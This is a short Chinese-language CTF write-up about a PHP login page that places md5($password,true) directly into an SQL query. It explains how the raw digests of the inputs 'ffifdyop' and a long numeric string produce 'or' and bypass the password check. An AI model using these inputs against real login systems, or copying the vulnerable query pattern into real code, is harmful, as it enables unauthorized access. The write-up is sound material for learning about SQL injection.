$password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)>0){
            echo 'flag is :'.$flag;
        }
        else{
            echo '密码错误!';
        }

从代码很容易知道,用mysqli_num_rows()函数来判断是否sql语句查询结果有返回值,那么重点就是那条sql语句。那么唯一可以sql注入的地方就是md5($password,true)这个地方。

那么首先介绍一下md5这个函数。

md5(string,raw)

string 必需。要计算的字符串。

raw 可选。

默认不写为FALSE。32位16进制的字符串
TRUE。16位原始二进制格式的字符串

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

上面的ffifdyop字符串对应的16位原始二进制的字符串就是'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c \ 后面的3个字符连同' '算一个字符,比如 \xc9 ,所以上述一共16个。当然,像 \xc9 这种字符会显示乱码。

然后我们可以用ffifdyop带入,看一下实际的效果。

然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'

可以输出flag了,类似的还有:

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

参考: https://blog.csdn.net/March97/article/details/81222922

preView